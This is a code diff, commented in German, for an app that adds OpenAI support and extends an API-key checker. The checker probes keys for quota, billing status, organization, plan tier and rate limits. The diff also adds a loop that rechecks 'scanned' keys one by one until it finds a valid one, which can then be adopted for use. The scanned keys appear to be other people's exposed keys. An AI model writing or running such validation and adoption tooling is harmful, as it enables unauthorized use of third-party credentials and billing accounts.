if (statusCode == 429)
{
// Rate-Limited → Key existiert, ist aber gerade nicht nutzbar
// 429 kann Rate-Limit ODER Quota-Exceeded sein → Body prüfen
try
{
var errBody = await resp.Content.ReadAsStringAsync();
var errDoc = JsonDocument.Parse(errBody);
if (errDoc.RootElement.TryGetProperty("error", out var errObj)
&& errObj.TryGetProperty("code", out var codeProp))
{
var code = codeProp.GetString();
if (code == "insufficient_quota")
return new OpenAiCheckResult { Status = "quota_exceeded", Message = "Kein Guthaben / Quota erschöpft (429)" };
}
}
catch { /* Body nicht parsbar → als Rate-Limit behandeln */ }
return new OpenAiCheckResult { Status = "rate_limited", Message = "Rate Limited (429)" };
}
if (statusCode >= 400)
return new OpenAiCheckResult { Status = "error", Message = "API-Fehler (" + statusCode + ")" };
// 200 OK → Key ist gültig
// 200 OK → Key existiert, Modelle extrahieren
var body = await resp.Content.ReadAsStringAsync();
var doc = JsonDocument.Parse(body);
@@ -56,21 +70,11 @@ namespace Gott.Services
if (resp.Headers.TryGetValues("openai-organization", out var orgValues))
org = orgValues.FirstOrDefault();
// Rate-Limits aus Headern
int? rpm = null;
int? tpm = null;
if (resp.Headers.TryGetValues("x-ratelimit-limit-requests", out var rpmVals)
&& int.TryParse(rpmVals.FirstOrDefault(), out var rpmVal))
rpm = rpmVal;
if (resp.Headers.TryGetValues("x-ratelimit-limit-tokens", out var tpmVals)
&& int.TryParse(tpmVals.FirstOrDefault(), out var tpmVal))
tpm = tpmVal;
// Modell-Liste extrahieren (nur die interessantesten)
string[] models = Array.Empty<string>();
if (doc.RootElement.TryGetProperty("data", out var data))
{
var interestingPrefixes = new[] { "gpt-4", "gpt-3.5", "o1", "o3", "o4" };
var interestingPrefixes = new[] { "gpt-5", "gpt-4", "gpt-3.5", "o1", "o3", "o4", "chatgpt" };
models = data.EnumerateArray()
.Select(m => m.GetProperty("id").GetString())
.Where(id => interestingPrefixes.Any(p => id.StartsWith(p, StringComparison.OrdinalIgnoreCase)))
@@ -81,7 +85,8 @@ namespace Gott.Services
// Plan-Erkennung anhand der Modelle
string plan;
if (models.Any(m => m.StartsWith("o3", StringComparison.OrdinalIgnoreCase)
if (models.Any(m => m.StartsWith("gpt-5", StringComparison.OrdinalIgnoreCase)
|| m.StartsWith("o3", StringComparison.OrdinalIgnoreCase)
|| m.StartsWith("o4", StringComparison.OrdinalIgnoreCase)))
plan = "Tier 5+";
else if (models.Any(m => m.StartsWith("gpt-4o", StringComparison.OrdinalIgnoreCase)))
@@ -93,8 +98,31 @@ namespace Gott.Services
else
plan = "Free";
// Schritt 2: Echten Chat-Call mit max_tokens=1 um Quota zu prüfen
// /v1/models gibt 200 auch bei quota_exceeded Keys!
var usable = await CheckQuotaAsync(client, apiKey);
var msg = plan + " · Org: " + (org ?? "?") + " · " + models.Length + " Modelle";
if (rpm.HasValue) msg += " · " + rpm.Value + " RPM";
// Rate-Limits aus dem Chat-Call-Header (falls verfügbar)
if (usable.Rpm.HasValue) msg += " · " + usable.Rpm.Value + " RPM";
if (usable.Tpm.HasValue) msg += " · " + usable.Tpm.Value + " TPM";
if (!usable.HasQuota)
{
var reason = usable.QuotaError == "billing_not_active"
? "Billing inaktiv"
: "Kein Guthaben";
return new OpenAiCheckResult
{
Status = "quota_exceeded",
Message = "⚠️ " + msg + " · " + reason,
Organization = org,
Models = models,
RateLimitRpm = usable.Rpm,
RateLimitTpm = usable.Tpm
};
}
return new OpenAiCheckResult
{
@@ -102,8 +130,8 @@ namespace Gott.Services
Message = msg,
Organization = org,
Models = models,
RateLimitRpm = rpm,
RateLimitTpm = tpm
RateLimitRpm = usable.Rpm,
RateLimitTpm = usable.Tpm
};
}
catch (Exception ex)
@@ -111,5 +139,68 @@ namespace Gott.Services
return new OpenAiCheckResult { Status = "error", Message = ex.Message };
}
}
private class QuotaResult
{
public bool HasQuota { get; set; }
public string QuotaError { get; set; }
public int? Rpm { get; set; }
public int? Tpm { get; set; }
}
private static async Task<QuotaResult> CheckQuotaAsync(HttpClient client, string apiKey)
{
try
{
var chatReq = new HttpRequestMessage(HttpMethod.Post, "https://api.openai.com/v1/chat/completions");
chatReq.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey);
chatReq.Content = new StringContent(
"{\"model\":\"gpt-4o-mini\",\"messages\":[{\"role\":\"user\",\"content\":\"hi\"}],\"max_tokens\":1}",
System.Text.Encoding.UTF8, "application/json");
var chatResp = await client.SendAsync(chatReq);
var chatStatus = (int)chatResp.StatusCode;
int? rpm = null;
int? tpm = null;
if (chatResp.Headers.TryGetValues("x-ratelimit-limit-requests", out var rpmVals)
&& int.TryParse(rpmVals.FirstOrDefault(), out var rpmVal))
rpm = rpmVal;
if (chatResp.Headers.TryGetValues("x-ratelimit-limit-tokens", out var tpmVals)
&& int.TryParse(tpmVals.FirstOrDefault(), out var tpmVal))
tpm = tpmVal;
if (chatStatus == 429)
{
try
{
var errBody = await chatResp.Content.ReadAsStringAsync();
var errDoc = JsonDocument.Parse(errBody);
if (errDoc.RootElement.TryGetProperty("error", out var errObj)
&& errObj.TryGetProperty("code", out var codeProp)
)
{
var code = codeProp.GetString();
if (code == "insufficient_quota" || code == "billing_not_active")
{
return new QuotaResult { HasQuota = false, QuotaError = code, Rpm = rpm, Tpm = tpm };
}
}
}
catch { }
// Echtes Rate-Limit → Key hat Quota, ist nur temporär blockiert
return new QuotaResult { HasQuota = true, Rpm = rpm, Tpm = tpm };
}
// 200 = funktioniert, alles andere = vermutlich trotzdem nutzbar
return new QuotaResult { HasQuota = chatStatus < 400, Rpm = rpm, Tpm = tpm };
}
catch
{
// Bei Netzwerkfehler etc. → optimistisch annehmen
return new QuotaResult { HasQuota = true };
}
}
}
}
+32 -6
View File
@@ -1,6 +1,7 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Text;
@@ -24,7 +25,7 @@ public class OpenAiService
private readonly ToolService _toolService;
// Provider-Keys (statisch für ChatService.ResolveModelId)
public static readonly HashSet<string> ProviderKeys = new() { "nvidia", "pollinations", "gemini" };
public static readonly HashSet<string> ProviderKeys = new() { "nvidia", "pollinations", "gemini", "openai" };
// Provider-Definitionen (inkl. API-Keys, instanzgebunden)
private readonly Dictionary<string, (string BaseUrl, string ApiKey)> Providers;
@@ -152,6 +153,7 @@ public class OpenAiService
private List<ProviderModel> _nvidiaModels = new List<ProviderModel>();
private List<ProviderModel> _pollinationsModels = new List<ProviderModel>();
private List<ProviderModel> _geminiModels = new List<ProviderModel>();
private List<ProviderModel> _openaiModels = new List<ProviderModel>();
private readonly string _cacheFile;
public OpenAiService(IHttpClientFactory httpFactory, DatabaseService db, ToolService toolService, Microsoft.Extensions.Configuration.IConfiguration configuration, string dataDir)
@@ -162,9 +164,10 @@ public class OpenAiService
_cacheFile = Path.Combine(dataDir, "models_cache.json");
Providers = new Dictionary<string, (string BaseUrl, string ApiKey)>
{
["nvidia"] = ("https://g4f.space/api/nvidia/v1", ""),
["pollinations"] = ("https://text.pollinations.ai/openai", ""),
["gemini"] = ("https://generativelanguage.googleapis.com/v1beta/openai", configuration["GeminiApiKey"] ?? "")
["nvidia"] = ("https://g4f.space/api/nvidia/v1", ""),
["pollinations"] = ("https://text.pollinations.ai/openai", ""),
["gemini"] = ("https://generativelanguage.googleapis.com/v1beta/openai", configuration["GeminiApiKey"] ?? ""),
["openai"] = ("https://api.openai.com/v1", "") // Key kommt dynamisch aus DB
};
}
@@ -184,7 +187,8 @@ public class OpenAiService
_nvidiaModels = cache.ContainsKey("nvidia") ? cache["nvidia"] : new List<ProviderModel>();
_pollinationsModels = cache.ContainsKey("pollinations") ? cache["pollinations"] : new List<ProviderModel>();
_geminiModels = cache.ContainsKey("gemini") ? cache["gemini"] : new List<ProviderModel>();
Console.WriteLine($"[OpenAiService] Modelle aus Cache geladen: {_nvidiaModels.Count} Nvidia, {_pollinationsModels.Count} Pollinations, {_geminiModels.Count} Gemini");
_openaiModels = cache.ContainsKey("openai") ? cache["openai"] : new List<ProviderModel>();
Console.WriteLine($"[OpenAiService] Modelle aus Cache geladen: {_nvidiaModels.Count} Nvidia, {_pollinationsModels.Count} Pollinations, {_geminiModels.Count} Gemini, {_openaiModels.Count} OpenAI");
return;
}
}
@@ -211,6 +215,21 @@ public class OpenAiService
else
Console.WriteLine("[OpenAiService] GeminiApiKey nicht konfiguriert – Gemini-Modelle nicht geladen.");
// OpenAI: Key aus DB holen (erster aktiver OpenAI-Key)
var openaiKey = await _db.GetFirstActiveKeyByProvider("openai");
if (!string.IsNullOrEmpty(openaiKey))
{
var allOpenAi = await FetchModels("https://api.openai.com/v1/models", "OpenAI", openaiKey);
// Nur Chat-Modelle filtern (gpt-*, o1-*, o3-*, o4-*, chatgpt-*)
_openaiModels = allOpenAi
.Where(m => m.Id.StartsWith("gpt-") || m.Id.StartsWith("o1-") || m.Id.StartsWith("o3-") || m.Id.StartsWith("o4-") || m.Id.StartsWith("chatgpt-"))
.OrderBy(m => m.Id)
.ToList();
Console.WriteLine($"[OpenAiService] {_openaiModels.Count} OpenAI Chat-Modelle gefiltert (von {allOpenAi.Count} total).");
}
else
Console.WriteLine("[OpenAiService] Kein aktiver OpenAI API-Key in DB – OpenAI-Modelle nicht geladen.");
// Cache speichern
try
{
@@ -218,7 +237,8 @@ public class OpenAiService
{
["nvidia"] = _nvidiaModels,
["pollinations"] = _pollinationsModels,
["gemini"] = _geminiModels
["gemini"] = _geminiModels,
["openai"] = _openaiModels
};
var json = JsonSerializer.Serialize(cache, new JsonSerializerOptions { WriteIndented = true });
await File.WriteAllTextAsync(_cacheFile, json);
@@ -276,6 +296,7 @@ public class OpenAiService
public List<ProviderModel> GetNvidiaModels() => _nvidiaModels;
public List<ProviderModel> GetPollinationsModels() => _pollinationsModels;
public List<ProviderModel> GetGeminiModels() => _geminiModels;
public List<ProviderModel> GetOpenAiModels() => _openaiModels;
/// <summary>
/// Gibt den Provider und das eigentliche Modell-ID aus einem kombinierten Model-String zurück.
@@ -308,6 +329,7 @@ public class OpenAiService
string sessionId = null,
string agentId = null,
int maxIterations = 10,
string apiKeyOverride = null,
CancellationToken workCt = default,
CancellationToken sseCt = default)
{
@@ -337,6 +359,10 @@ public class OpenAiService
return;
}
// API-Key Override: User-Key aus DB hat Vorrang vor hardcoded Provider-Key
if (!string.IsNullOrEmpty(apiKeyOverride))
providerConfig = (providerConfig.BaseUrl, apiKeyOverride);
try
{
// OpenAI-kompatibles Messages-Format aufbauen
+5
View File
@@ -192,6 +192,9 @@
<option value="opus-4-5">opus-4-5</option>
<option value="opus-4-6" selected>opus-4-6</option>
<option value="haiku-4-5">haiku-4-5</option>
<optgroup label="OpenAI" id="openaiOptgroup">
<option value="" disabled>Wird geladen...</option>
</optgroup>
<optgroup label="Google Gemini" id="geminiOptgroup">
<option value="" disabled>Wird geladen...</option>
</optgroup>
@@ -572,6 +575,8 @@
<label>Provider</label>
<select id="apiKeysProvider">
<option value="anthropic">Anthropic</option>
<option value="openai">OpenAI</option>
<option value="google">Google / Gemini</option>
</select>
<label>Name</label>
<input type="text" id="apiKeysName" placeholder="z.B. Mein Pro Key" autocomplete="off">
+5 -1
View File
@@ -21,6 +21,7 @@ registerPage('agent', {
const nvidiaOptgroup = document.getElementById('nvidiaOptgroup');
const pollinationsOptgroup = document.getElementById('pollinationsOptgroup');
const geminiOptgroup = document.getElementById('geminiOptgroup');
const openaiOptgroup = document.getElementById('openaiOptgroup');
// Modelle dynamisch laden
const loadProviderModels = async (url, prefix, optgroup) => {
@@ -35,13 +36,16 @@ registerPage('agent', {
opt.textContent = m.displayName;
optgroup.appendChild(opt);
}
} else if (optgroup) {
optgroup.remove();
}
} catch (e) {
if (optgroup) optgroup.innerHTML = '<option value="" disabled>Fehler beim Laden</option>';
if (optgroup) optgroup.remove();
}
};
await Promise.all([
loadProviderModels('/api/models/openai', 'openai', openaiOptgroup),
loadProviderModels('/api/models/nvidia', 'nvidia', nvidiaOptgroup),
loadProviderModels('/api/models/pollinations', 'pollinations', pollinationsOptgroup),
loadProviderModels('/api/models/gemini', 'gemini', geminiOptgroup)
+65 -3
View File
@@ -137,8 +137,8 @@ registerPage('api-keys', {
statusLine.className = 'admin-user-meta';
statusLine.style.cssText = 'padding:0 var(--box-padding) .5rem;display:none;font-size:.85em';
// Check (nur Anthropic) – rechts neben Usage-Badge
if (key.provider === 'anthropic') {
// Check – rechts neben Usage-Badge
if (key.provider === 'anthropic' || key.provider === 'openai' || key.provider === 'google') {
var checkBtn = document.createElement('button');
checkBtn.className = 'icon-btn';
checkBtn.title = 'Key prüfen';
@@ -324,6 +324,7 @@ registerPage('api-keys', {
var scannedList = document.getElementById('scannedKeysList');
var scannedKeys = [];
var selectedType = null;
var checkUncheckedAbort = false;
var pollTimer = null;
var typeNames = {
@@ -405,10 +406,71 @@ registerPage('api-keys', {
backName.innerHTML = '<i class="fa fa-arrow-left"></i> Zurück zur Übersicht';
backInfo.appendChild(backName);
backRow.appendChild(backInfo);
backRow.addEventListener('click', function() { selectedType = null; loadSummary(); });
backRow.addEventListener('click', function() { selectedType = null; checkUncheckedAbort = true; loadSummary(); });
scannedList.appendChild(backRow);
// Toolbar: "Ungeprüfte prüfen"-Button
var visibleKeys = scannedKeys.filter(function(sk) { return sk.adoptedApiKeyId == null; });
var uncheckedKeys = visibleKeys.filter(function(sk) { return sk.status === 'unchecked'; });
if (uncheckedKeys.length > 0) {
var toolbar = document.createElement('div');
toolbar.style.cssText = 'display:flex;align-items:center;gap:8px;padding:8px var(--box-padding);border-bottom:1px solid var(--border)';
var checkUncheckedBtn = document.createElement('button');
checkUncheckedBtn.className = 'section-add-btn';
checkUncheckedBtn.innerHTML = '<i class="fa fa-search"></i> ' + uncheckedKeys.length + ' Ungeprüfte prüfen';
var progressSpan = document.createElement('span');
progressSpan.className = 'admin-user-meta';
progressSpan.style.marginLeft = '8px';
toolbar.appendChild(checkUncheckedBtn);
toolbar.appendChild(progressSpan);
scannedList.appendChild(toolbar);
checkUncheckedBtn.addEventListener('click', async function() {
checkUncheckedAbort = false;
checkUncheckedBtn.disabled = true;
var stopBtn = document.createElement('button');
stopBtn.className = 'icon-btn';
stopBtn.title = 'Abbrechen';
stopBtn.innerHTML = '<i class="fa fa-stop" style="color:var(--danger)"></i>';
stopBtn.addEventListener('click', function() { checkUncheckedAbort = true; });
toolbar.appendChild(stopBtn);
var checked = 0;
var found = 0;
for (var i = 0; i < uncheckedKeys.length; i++) {
if (checkUncheckedAbort) {
progressSpan.textContent = 'Abgebrochen bei ' + checked + '/' + uncheckedKeys.length;
break;
}
var sk = uncheckedKeys[i];
progressSpan.textContent = (i + 1) + '/' + uncheckedKeys.length + ' prüfe…';
checkUncheckedBtn.innerHTML = '<i class="fa fa-spinner fa-spin"></i> ' + (i + 1) + '/' + uncheckedKeys.length;
try {
var result = await apiRecheckScannedKey(sk.scannedKeyId);
checked++;
if (result && result.status === 'valid') {
found++;
progressSpan.textContent = '✅ Gültigen Key gefunden! Stoppe.';
showToast('Gültigen Key gefunden!', 'success');
break;
}
} catch (err) {
checked++;
}
}
if (!checkUncheckedAbort && found === 0) {
progressSpan.textContent = checked + ' geprüft, keinen gültigen gefunden.';
}
checkUncheckedBtn.disabled = false;
checkUncheckedBtn.innerHTML = '<i class="fa fa-search"></i> Ungeprüfte prüfen';
if (stopBtn.parentNode) stopBtn.parentNode.removeChild(stopBtn);
await loadScannedKeysByType(selectedType);
});
}
if (visibleKeys.length === 0) {
var empty = document.createElement('div');
empty.className = 'admin-user-meta';
+2
View File
@@ -168,6 +168,8 @@ async function _showKeySwitchModal() {
var meta = document.createElement('div');
meta.className = 'key-switch-meta';
var parts = [];
var providerLabels = { anthropic: '🟤 Anthropic', openai: '🟢 OpenAI', google: '🔵 Google' };
parts.push(providerLabels[key.provider] || key.provider || 'Anthropic');
if (key.plan) parts.push(key.plan);
if (key.status) parts.push(key.status === 'valid' ? '✅' : '⚠️');
meta.textContent = parts.join(' · ');